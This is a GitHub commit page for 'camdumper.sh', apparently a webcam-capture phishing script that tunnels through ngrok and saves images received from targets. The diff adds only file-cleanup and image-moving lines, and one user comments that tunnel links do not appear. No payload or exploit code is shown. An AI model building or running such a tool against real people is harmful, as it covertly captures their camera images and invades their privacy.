Skip to content

Commit

Permalink
Update camdumper.sh
Browse files Browse the repository at this point in the history
  • Loading branch information
LiNuX-Mallu committed Sep 11, 2021
1 parent c787cda commit 3704064
Showing 1 changed file with 6 additions and 2 deletions.
8 changes: 6 additions & 2 deletions camdumper.sh
Original file line number Diff line number Diff line change
@@ -1,6 +1,9 @@
clear

rm *.zip > dev\null 2>&1 || true
rm Log.log *.zip > dev\null 2>&1 || true
mv *.png captured_files/old > dev\null 2>&1 || true
mv captured_files/new/*.png captured_files/old/ > dev\null 2>&1 || true


if ./ngrok -v > dev\null 2>&1
then
Expand Down Expand Up @@ -98,8 +101,10 @@ sleep 0.5

if [[ -e "Log.log" ]]; then
printf "\n\e[1;92m[\e[0m+\e[1;92m] Cam file received!\e[0m\n"
mv *.png captured_files/new > dev\null 2>&1 || true
rm -rf Log.log
fi

sleep 0.5

done
Expand Down Expand Up @@ -277,4 +282,3 @@ checkfound
banner
dependencies
start1

1 comment on commit 3704064

@wilson0106
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

serveo and ngrok link aren't shown in the terminal.

Please sign in to comment.